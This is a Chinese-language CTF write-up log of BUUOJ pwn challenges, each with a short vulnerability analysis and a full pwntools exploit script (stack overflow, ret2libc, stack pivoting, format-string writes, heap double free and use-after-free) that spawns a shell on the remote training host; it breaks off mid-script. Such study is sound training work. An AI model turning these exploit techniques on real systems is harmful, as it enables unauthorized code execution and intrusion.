BUUOJ做题记录-PWN(一)

rip--简单Stack_overflow劫持程序流

from pwn import *
context(log_level='debug')
p=remote('node3.buuoj.cn',25812)
#p=process('./pwn1')
#gdb.attach(p)
ret_addr=0x0000000000401186
offset=0xF+0x8
ret=0x0000000000401016
payload='a'*offset+p64(ret)+p64(ret_addr)
#p.recvuntil("please input
")
p.sendline(payload)
p.interactive()

warmup_csaw_2016--简单Stack_overflow劫持程序流

from pwn import *
context(log_level='debug')
p=remote('node3.buuoj.cn',26027)
p.recvuntil(">")
ret_addr=0x000000000040060D
payload='a'*0x48+p64(ret_addr)
p.sendline(payload)
p.interactive()

pwn1_sctf_2016--简单Stack_overflow劫持程序流

容易发现程序留有后门函数get_flag(),所以思路是实现栈溢出并将返回地址覆盖为后门函数

但是程序控制了输入字符串的长度是31,同时replace()函数会查找input中的字符串’I‘将其替换成'you',利用这个特点绕过限制,exp:

from pwn import *
context(log_level='debug')
p=remote('node3.buuoj.cn',29383)
#p=process('./pwn1_sctf_2016')
#p.recvuntil('Tell me something about yourself:')
def sta_leak(str,ret_addr):
    return str+p32(ret_addr)
    #pd=str+p64(ret_addr)
pd=sta_leak('I'*21+'a',0x08048F0D)
p.sendline(pd)
p.interactive()

ciscn_2019_n_1--浮点数在内存中的存储

exp:

from pwn import *
context(log_level='debug')
p=remote('node3.buuoj.cn',28564)
p.recvuntil("Let's guess the number.
")
payload='a'*(0x30-0x4)+'x00x80x34x41'
p.sendline(payload)
p.interactive()

ciscn_2019_c_1&ciscn_2019_en_2--简单ret2libc

这两道题目是相同的,首先在ida中分析可以看到整个程序最关键的其实只有encrypt()加密函数,在这个函数中gets()漏洞函数提供了明显的栈溢出点,同时在尝试输入后可以发现只有前0x50个字节经过异或加密处理。因此通过泄露地址得到system()实际地址以getshell。

from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug')
p=remote('node3.buuoj.cn',29118)
#p=process('./ciscn_2019_c_1')
#gdb.attach(p)
elf=ELF('./ciscn_2019_c_1')
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
ru("choice!
")
sl('1')
ru("encrypted
")
pop_rdi_ret=0x400c83
ret_addr=0x4009A0
payload='a'*(0x50+0x8)
payload+=p64(pop_rdi_ret)+p64(elf.got['__libc_start_main'])+p64(elf.plt['puts'])+p64(ret_addr)
sl(payload)
ru("
")
ru("
")
leak_addr=u64(p.recv(6).ljust(8,'x00'))
print hex(leak_addr)
libc=LibcSearcher('__libc_start_main',leak_addr)
offset=leak_addr-libc.dump("__libc_start_main")
sys_addr=offset+libc.dump("system")
bin_sh=offset+libc.dump("str_bin_sh")
ret=0x4006b9
pd='a'*(0x50+0x8)+p64(pop_rdi_ret)+p64(bin_sh)+p64(ret)+p64(sys_addr)
ru("encrypted
")
sl(pd)
p.interactive()

[OGeek2019]babyrop--简单rop

IDA分析程序,先使用伪随机数生成器从文件中读入伪随机数,随后与我们的输入进行比较,但是使用了strlen()函数,我们可以通过'x00'进行截断,随后传出栈中的一个变量值作为返回值,我们可以通过read()函数将其覆盖,并作为接下来函数中read()函数的字节数。这样,得到栈溢出点,ret2libc进行rop,getshell:

from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')

p=remote('node3.buuoj.cn',26255)
#p=process('./pwn1')
#gdb.attach(p)
e=ELF("./pwn1")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
pd='x00'+'xFF'*(0x2C-0x25+1)+'x00'
sl(pd)
pd='a'*(0xE7+0x4)+p32(e.plt['puts'])+p32(0x08048825)+p32(e.got['puts'])
ru('Correct
')
sl(pd)
leak_addr=u32(p.recv(4))
print hex(leak_addr)
libc=LibcSearcher('puts',leak_addr)
offset=leak_addr-libc.dump('puts')
sys_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
pd='x00'+'xFF'*(0x2C-0x25+1)+'x00'
sl(pd)
pd='a'*(0xE7+0x4)+p32(sys_addr)+p32(0)+p32(bin_sh)
ru('Correct
')
sl(pd)
p.interactive()

get_started_3dsctf_2016/not_the_same_3dsctf_2016

IDA中分析程序很容易发现会有一个get_flag函数,本打算通过栈传递所需参数执行get_flag函数,但是远程无法实现。同时,程序中在gets()函数前没有执行其他任意函数,所以通过泄露libc中函数地址来getshell也无法实现。但是分析程序可以发现,程序中有很多函数,open/read/write/mprotect等等,所以有栈溢出点的情况下有很多尝试的方向,可以通过ROP结合orw来读取靶机中的flag.txt文件,也可以将shellcode注入bss段并通过mprotect修改权限后执行,exp:

from pwn import *
context(log_level='debug')

p=remote('node3.buuoj.cn',26638)
#p=process('./get_started_3dsctf_2016')
#gdb.attach(p)
e=ELF("./get_started_3dsctf_2016")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)                 
#ru("Qual a palavrinha magica? ")
buf=0x080EBF80
#这里为了保持栈平衡,需要在返回地址处将三个参数弹栈
pop3_ret=0x080509a5
#这里的偏移量是0x38,因为在IDA中可以看到在0处便是ret_addr位置,并不是通常的ebp
pd='a'*0x38+p32(e.symbols['read'])+p32(pop3_ret)+p32(0)+p32(buf)+p32(0x10)
pd+=p32(e.symbols['open'])+p32(pop3_ret)+p32(buf)+p32(0)+p32(0)
pd+=p32(e.symbols['read'])+p32(pop3_ret)+p32(3)+p32(buf)+p32(0x30)
pd+=p32(e.symbols['write'])+p32(pop3_ret)+p32(1)+p32(buf)+p32(0x30)
sl(pd)
sl("./flag.txtx00")
sleep(1)
p.interactive()

第二道题目与这道题目类似,直接给出exp:

from pwn import *
context(log_level='debug')

p=remote('node3.buuoj.cn',26368)
#p=process('./not_the_same_3dsctf_2016')
#gdb.attach(p)
e=ELF("./not_the_same_3dsctf_2016")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
#ru("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ")
pop3_ret=0x0804f420
buf=0x080ECA00
pd='a'*0x2D+p32(e.symbols['read'])+p32(pop3_ret)+p32(0)+p32(buf)+p32(0x10)
pd+=p32(e.symbols['open'])+p32(pop3_ret)+p32(buf)+p32(0)+p32(0)
pd+=p32(e.symbols['read'])+p32(pop3_ret)+p32(3)+p32(buf)+p32(0x30)
pd+=p32(e.symbols['write'])+p32(pop3_ret)+p32(1)+p32(buf)+p32(0x30)
sl(pd)
sl("./flag.txtx00")
sleep(1)
p.interactive()

[第五空间2019 决赛]PWN5--简单格式化字符串漏洞

程序开启了canary保护,且canary难以爆破,只有想办法绕过执行getshell代码的判断条件,发现程序中有格式化漏洞点printf(&buf),造成任意地址写,于是我们使用pwntools下的工具生成payload(偏移量为10,可通过调试,在printf(&buf)前下断点查看栈顶指针得到),向存储了随机数的地址unk_804C044处写入固定数,绕过判断。

from pwn import *
context(log_level='debug')

p=remote('node3.buuoj.cn',25789)
#p=process('./pwn2')
#gdb.attach(p)
e=ELF("./pwn2")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
ru("your name:")
pd=fmtstr_payload(10,{0x804C044:0x10})
sl(pd)
ru("your passwd:")
sl("16")
p.interactive()

[Black Watch 入群题]PWN--简单stack_pivot

程序有栈溢出点,但是只能溢出8字节,想到利用栈迁移,结合前面的程序中可以向bss段写入任意字符,我们先向bss段注入ROP链,然后劫持程序流泄露libc中函数地址从而getshell,exp:

from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug')

p=remote('node3.buuoj.cn',25523)
#p=process('./spwn')
#gdb.attach(p)
e=ELF("./spwn")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
leave_ret=0x08048408
buf=0x0804A300
main=0x08048513
ru("What is your name?")
pd=p32(e.plt['write'])+p32(main)+p32(1)+p32(e.got['write'])+p32(0x4)
sd(pd)
ru("What do you want to say?")
pd='a'*0x18+p32(buf-4)+p32(leave_ret)
sd(pd)
leak_addr=u32(p.recv(4))
print hex(leak_addr)
libc=LibcSearcher('write',leak_addr)
offset=leak_addr-libc.dump('write')
sys_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
print hex(sys_addr)
print hex(bin_sh)
ru("What is your name?")
pd=p32(sys_addr)+p32(0)+p32(bin_sh)
sd(pd)
ru("What do you want to say?")
pd='a'*0x18+p32(buf-4)+p32(leave_ret)
sd(pd)
p.interactive()

ciscn_2019_n_8--简单栈覆盖

从下面程序的输出来看,可以猜测var数组中存储的是整型变量,所以var[13]前面应该需要填充4*13个字节,exp:

from pwn import *
context(log_level='debug')

p=remote('node3.buuoj.cn',27212)
#p=process('./ciscn_2019_n_8')
#gdb.attach(p)
e=ELF("./ciscn_2019_n_8")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
pd='a'*0x34+'x11'
ru("What's your name?
")
sl(pd)
p.interactive()

gyctf_2020_borrowstack--简单栈迁移

在IDA中分析程序,可以发现第一个read()限制了栈溢出字节,典型栈迁移的特征,随后可以向bss变量段注入,于是我们的思路是在bss上构造ROP链,利用两次leave_ret实现栈迁移,以执行我们的ROP链劫持程序流,exp如下:

from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')

local=0
binary_name='borrowstack'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',29785)
    e=ELF("./"+binary_name)
    #libc=ELF()

#gdb.attach(p)
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
leave_ret=0x400699
bss_start=0x601080
pd='a'*0x60+p64(bss_start+0x60-8)+p64(leave_ret)
sd(pd)
ru("Done!You can check and use your borrow stack now!
")
read_bss=0x400680
pop_rdi_ret=0x400703
pop_rbp_ret=0x400590
pd='a'*0x60+p64(pop_rdi_ret)+p64(e.got['puts'])+p64(e.plt['puts'])+p64(pop_rbp_ret)+p64(bss_start+0x60-8)+p64(read_bss)
sd(pd)
leak_addr=u64(p.recv(6).ljust(8,"x00"))
libc=LibcSearcher('puts',leak_addr)
offset=leak_addr-libc.dump('puts')
sys_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
ret=0x4004c9
one_gadget=0x4526a+offset
pd='a'*0x60+p64(one_gadget)
sd(pd)
p.interactive()

这里有两个坑,记录一下:

1.我们的ROP链应该距离bss_start有一定偏移量,否则无法正常泄露puts_got的地址

2.得到libc偏移量后若直接system("/bin/sh"),则打不通,程序会在执行system函数中崩掉,所以我们去相应libc中找到合适的one_gadget

babyheap_0ctf_2017--简单堆溢出利用fastbin double free

分析程序,首先查看保护,发现所有保护全开,FULL RELRD 说明我们不能改写got表进行泄露,同时开启了ASLR.程序在一开始进行了内存映射操作,得到随即地址,分析Allocate()函数发现在这一随机地址上,每24个字节作为一个结构体,且申请内存的时候使用了calloc()函数,会自动在申请内存后进行清零,所以我们无法在double free small chunk后直接泄露地址,但是在开启随即地址化的情况下,调试可以发现我们allocate到的第一个chunk的起始地址最后12位都是0.接着分析Fill()函数发现可以向chunk块中写入任意size的内容,典型的堆溢出.接着,分析Free()函数发现没有UAF漏洞,无法利用,最后Dump函数会输出chunk中申请的size大小的内存内容.所以,综合来看我们可以利用堆溢出漏洞伪造fake chunk,结合fastbin double free实现多指针指向同一chunk块,从而泄露地址,覆盖malloc_hook地址来getshell,exp如下:

from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')

local=0
binary_name='babyheap'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',26728)
    e=ELF("./"+binary_name)
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def alloc(size):
    sla("Command: ",'1')
    sla("Size: ",str(size))
    
def fill(idx,content):
    sla("Command: ",'2')
    sla("Index: ",str(idx))
    sla("Size: ",str(len(content)))
    sla("Content: ",content)

def free(idx):
    sla("Command: ",'3')
    sla("Index: ",str(idx))

def dump(idx):
    sla("Command: ",'4')
    sla("Index: ",str(idx))
    ru("Content: 
")
z('b *0x555555554dcc
b *0x555555555022
b *0x555555555113
b *0x555555554F43')
alloc(0x10)#0
alloc(0x10)#1
alloc(0x10)#2
alloc(0x10)#3
alloc(0x90)#4
free(1)
free(2)#2->fd=1
fill(3,p64(0)*3+p64(0x21))
fill(0,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+'x80')#2->fd=4
alloc(0x10)#1->2
alloc(0x10)#2->4
alloc(0x60)#5
fill(3,p64(0)*3+p64(0xa1))
free(4)
dump(2)
leak_addr=u64(p.recv(8))
print hex(leak_addr)
offset=leak_addr-88-libc.sym['__malloc_hook']-0x10
print hex(offset)
alloc(0x60)#4
alloc(0x60)#6
alloc(0x60)#7
free(6)
free(7)
fill(5,p64(0)*13+p64(0x71)+p64(0)*13+p64(0x71)+p64(offset+libc.sym['__malloc_hook']-35))
alloc(0x60)#6->7
alloc(0x60)#7->fake_chunk
one_gadget=0x4526a
fill(7,'a'*19+p64(offset+one_gadget))
alloc(0x10)
p.interactive()

pwnable_hacknote

分析程序,add()函数不存在堆溢出,delete()函数存在明显的UAF漏洞,print()函数可以帮助我们利用UAF漏洞,综合来看,这道题应该主要利用UAF漏洞即可,由于在add()函数中并没有对申请的content块的大小有所限制,所以暂时至少有两种思路可以泄露地址,其一:通过small chunk释放后加入unsorted bin,fd和bk指向main_arena泄露,其二:利用释放后没有将指针设为NULL的漏洞,构造两个指针指向同一个结构体和content的chunk块,覆盖content为got表地址泄露,泄露地址后利用UAF漏洞覆盖函数地址为system地址可以getshell,但是这里有一个麻烦:结构体中的函数的参数是函数地址本身,也就是说实际执行的system函数的参数是system函数地址,会导致失败,这里利用了Linux连续执行多条命令的知识点,我们可以利用||绕过前面的错误指令来继续执行正确的指令,exp:

其一:

from pwn import *
context(log_level='debug',arch='i386')

local=0
binary_name='hacknote'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',25985)
    e=ELF("./"+binary_name)
    libc=ELF("./libc_32.so.6")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda : p.interactive()
def add(size,content):
    sla("Your choice :",'1')
    sla("Note size :",str(size))
    sla("Content :",content)
    ru("Success !
")
def dele(idx):
    sla("Your choice :",'2')
    sla("Index :",str(idx))
    ru("Success
")
def show(idx):
    sla("Your choice :",'3')
    sla("Index :",str(idx))
z('b *0x0804869A
b *0x0804872C
b *0x08048863
b *0x08048879
b *0x08048903
')
add(0x90,'a')#0
add(0x90,'a')#1
dele(0)
add(0x90,'')#2
show(2)
p.recv(4)
leak_addr=u32(p.recv(4))
print hex(leak_addr)
offset=leak_addr-libc.sym['__malloc_hook']-0x18-48
#add(0x90,'a')#3
dele(0)
dele(1)
#one_gadget=0x5fbc6 
sla("Your choice :",'1')
sla("Note size :",str(0x8))
ru("Content :")
sd(p32(offset+libc.sym['system'])+'||$0')
#add(0x8,p32(offset+libc.sym['system'])+'||$0')#4
show(2)
p.interactive()

其二:

from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='i386')

local=0
binary_name='hacknote'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    #libc=e.libc
else:
    p=remote('node3.buuoj.cn:',26000)
    e=ELF("./"+binary_name)
    #libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")
    #libc=ELF("./libc_32.so.6")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda : p.interactive()
def add(size,content):
    sla("Your choice :",'1')
    sla("Note size :",str(size))
    sla("Content :",content)
    ru("Success !
")
def dele(idx):
    sla("Your choice :",'2')
    sla("Index :",str(idx))
    ru("Success
")
def show(idx):
    sla("Your choice :",'3')
    sla("Index :",str(idx))
#z('b *0x0804869A
b *0x0804872C
b *0x08048863
b *0x08048879
b *0x08048903
')
add(0x10,'a')#0
add(0x10,'a')#1
dele(0)
dele(1)
sla("Your choice :",'1')
sla("Note size :",str(0x8))
ru("Content :")
p.send(p32(0x0804862B)+p32(e.got['puts']))
ru("Success !
")
show(0)
leak_addr=u32(p.recv(4))
libc=LibcSearcher('puts',leak_addr)
offset=leak_addr-libc.dump('puts')
dele(2)
sla("Your choice :",'1')
sla("Note size :",str(0x8))
ru("Content :")
p.send(p32(offset+libc.dump('system'))+'||$0')
ru("Success !
")
#add(0x8,p32(offset+libc.sym['system'])+';shx00')#3
sla("Your choice :",'3')
ru("Index :")
sd('0')
p.interactive()

[HarekazeCTF2019]baby_rop--简单ROP

分析程序,发现程序中本身含有system函数,查找字符串可以看到有'/bin/sh'字符串,所以我们直接利用输入的栈溢出漏洞即可,exp:

from pwn import *
context(log_level='debug',arch='amd64')

local=0
binary_name='babyrop2'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',29656)
    e=ELF("./"+binary_name)
    #libc=ELF()
    
#gdb.attach(p)
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ru("What's your name? ")
pop_rdi_ret=0x400683
bin_sh=0x601048
ret=0x400479
pd='a'*(0x10+0x8)+p64(pop_rdi_ret)+p64(bin_sh)+p64(ret)+p64(e.plt['system'])
sl(pd)
p.interactive()

但是这道题目最后ls命令后不像通常一样在主目录下就有flag文件,我们使用find -name flag命令查找flag文件即可发现路径是:/home/babyrop/flag

[HarekazeCTF2019]baby_rop2--简单ret2libc

分析程序,发现明显可利用的栈溢出,利用printf()函数泄露已执行库函数的got表,随后是常见的ret2libc的套路,exp如下:

from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')

local=0
binary_name='babyrop2'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',27004)
    e=ELF("./"+binary_name)
    libc=ELF("./libc.so.6")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
z()
ru("What's your name? ")
pop_rdi_ret=0x400733
pd='a'*(0x20+0x8)+p64(pop_rdi_ret)+p64(e.got['read'])+p64(e.plt['printf'])+p64(0x400636)
sl(pd)
ru("
")
leak_addr=u64(p.recv(6).ljust(8,'x00'))
offset=leak_addr-libc.sym['read']
sys_addr=offset+libc.sym['system']
bin_sh=offset+libc.search("/bin/sh").next()
print hex(sys_addr)
ru("What's your name? ")
pd='a'*(0x20+0x8)+p64(pop_rdi_ret)+p64(bin_sh)+p64(sys_addr)
sl(pd)
p.interactive()

铁人三项(第五赛区)_2018_rop--简单rop2libc

常见ret2libc套路,exp如下:

from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='i386')

local=0
binary_name='2018_rop'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',27645)
    e=ELF("./"+binary_name)
    #libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'x00'))


pd='a'*(0x88+0x4)+p32(e.plt['write'])+p32(0x080484C6)+p32(1)+p32(e.got['write'])
sl(pd)
leak_addr=leak_address()
print hex(leak_addr)
libc=LibcSearcher('write',leak_addr)
libc_base=leak_addr-libc.dump('write')
sys_addr=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
ret=0x08048199
pd='a'*(0x88+0x4)+p32(sys_addr)+p32(ret)+p32(bin_sh)
sl(pd)
p.interactive()

bjdctf_2020_babystack--简单ROP劫持程序流

from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')

local=0
binary_name='bjdctf_2020_babystack'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',29361)
    e=ELF("./"+binary_name)
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'x00'))

ru("[+]Please input the length of your name:
")
sl(str(0xffff))
pd='a'*(0x10+0x8)+p64(0x4006E6)
sl(pd)
p.interactive()

pwn2_sctf_2016--整数溢出&ret2libc

get_n函数中第二个参数是unsigned int类型,造成整数溢出,可以利用-1绕过限制,然后利用printf函数泄露got表的地址,ret2libc即可,exp如下:

from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='i386')

local=1
binary_name='pwn2_sctf_2016'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    #libc=e.libc
else:
    p=remote('node3.buuoj.cn',29660)
    e=ELF("./"+binary_name)
    #libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'x00'))
#z()
ru("How many bytes do you want me to read? ")
sl("-1")
ru("bytes of data!
")
#pd='/bin/sh;'+'a'*(0x2c+0x4-0x8)+p32(0x080484CD)
#pd='a'*(0x2c+0x4)+p32(0x080484CD)
main=0x080485B8
pd='a'*(0x2c+0x4)+p32(e.plt['printf'])+p32(main)+p32(e.got['printf'])
sl(pd)
ru('
')
leak_addr=leak_address()
print hex(leak_addr)
ru("How many bytes do you want me to read? ")
sl("-1")
ru("bytes of data!
")
libc=LibcSearcher('printf',leak_addr)
offset=leak_addr-libc.dump('printf')
sys_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
print hex(bin_sh)
pop_ebx_ret=0x0804835d
pd='a'*(0x2c+0x4)+p32(sys_addr)+'a'*4+p32(bin_sh)
sl(pd)
p.interactive()

ciscn_2019_ne_5--stackoverflow&ret2text

分析程序可以发现,在GetFlag()函数里会把src字符串的内容拷贝给dest,dest字符串空间比src要小,存在栈溢出点。同时,程序中有system()函数,需要直接利用plt表,exp如下:

from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='i386')

local=0
binary_name='ciscn_2019_ne_5'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',28107)
    e=ELF("./"+binary_name)
    #libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'x00'))

z('b *0x080486c7
')
ru("password:")
sl("administrator")
ru("0.Exit
:")
sl('1')
ru("Please input new log info:")
main=0x08048722
pd='a'*(0x48+0x4)+p32(e.plt['puts'])+p32(0x08048722)+p32(e.got['printf'])
sl(pd)
ru("0.Exit
:")
sl('4')
ru("
")
leak_addr=leak_address()
print hex(leak_addr)
libc=LibcSearcher('printf',leak_addr)
offset=leak_addr-libc.dump('printf')
#sys_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
#print hex(sys_addr)
print hex(bin_sh)
ru("password:")
sl("administrator")
ru("0.Exit
:")
sl('1')
ru("Please input new log info:")
ret=0x0804843e
pd='a'*(0x48+0x4)+p32(e.plt['system'])+p32(main)+p32(bin_sh)
sl(pd)
ru("0.Exit
:")
sl('4')
p.interactive()

ez_pz_hackover_2016

这道题IDA中vuln()函数中的偏移量应该是不准确的,我通过不断爆破的方式得到了正确的偏移量,并且采用了ret2libc而不是ret2shellcode的方法,exp如下:

from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='i386')

local=0
binary_name='ez_pz_hackover_2016'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',26167)
    e=ELF("./"+binary_name)
    libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'x00'))

z()
ru("Yippie, lets crash: ")
leak_addr=int(p.recv(10),16)
print hex(leak_addr)
ru('> ')
main=0x080486E2
pd='crashmex00'+'a'*18+p32(e.plt['printf'])+p32(main)+p32(e.got['printf'])
sl(pd)
ru("crashme!
")
leak_addr=leak_address()
print hex(leak_addr)
libc=LibcSearcher('printf',leak_addr)
offset=leak_addr-libc.dump('printf')
sys_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
ru('> ')
pd='crashmex00'+'a'*18+p32(sys_addr)+p32(main)+p32(bin_sh)
sl(pd)
p.interactive()

babyfengshui_33c3_2016--堆溢出

分析程序,寻找漏洞点,发现在防止堆溢出的判断上存在漏洞,判断条件默认了我们description的chunk和大小为0x80的chunk是物理相连的,我们只要释放低地址的chunk后,将desciprtion的chunk地址分配在低地址上就可以控制0x80大小chunk中user_data的前四个字节,即:&description,实现任意地址读写,将其修改成free()函数的got表地址,读可以泄露Libc,写可以劫持程序流getshell。这里还有一点需要注意的是,程序在向地址中进行写的时候会将'x0a'覆盖成结束符x00,所以在修改free()函数got表时,会多覆盖一个'x00',此时再选择其他操作程序便会跑崩掉,exp如下:

from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='i386')

local=1
binary_name='babyfengshui_33c3_2016'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',28089)
    e=ELF("./"+binary_name)
    libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'x00'))

def add(size_des,name,len_des,des):
    ru("Action: ")
    sl('0')
    ru("size of description: ")
    sl(str(size_des))
    ru("name: ")
    sl(name)
    ru("text length: ")
    sl(str(len_des))
    ru("text: ")
    sl(des)
def delete(idx):
    ru("Action: ")
    sl('1')
    ru("index: ")
    sl(str(idx))
def show(idx):
    ru("Action: ")
    sl('2')
    ru("index: ")
    sl(str(idx))
def edit(idx,len_des,des):
    ru("Action: ")
    sl('3')
    ru("index: ")
    sl(str(idx))
    ru("text length: ")
    sl(str(len_des))
    ru("text: ")
    sl(des)

z('b *0x08048859
b *0x08048833
b *0x08048948
b *0x0804895F
b *0x080489F6
')
add(0x10,'a',0x10,'a')#0
add(0x10,'a',0x10,'a')#1
delete(0)

pd='a'*0x84+p32(0x19)+'a'*0x14+p32(0x89)+p32(e.got['free'])
print hex(e.got['free'])
add(0x80,'a',0xa8,pd)#2
add(0x20,'a',0x20,'/bin/shx00')#3
#edit(1,0x4,p32(e.plt['puts']))
show(1)
ru("description: ")
leak_addr=leak_address()
print hex(leak_addr)
libc=LibcSearcher('free',leak_addr)
offset=leak_addr-libc.dump('free')
sys_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
edit(1,0x4,p32(sys_addr))
delete(3)
p.interactive()

ciscn_2019_n_5--简单ret2shellcode

from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')

local=0
binary_name='ciscn_2019_n_5'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',25099)
    e=ELF("./"+binary_name)
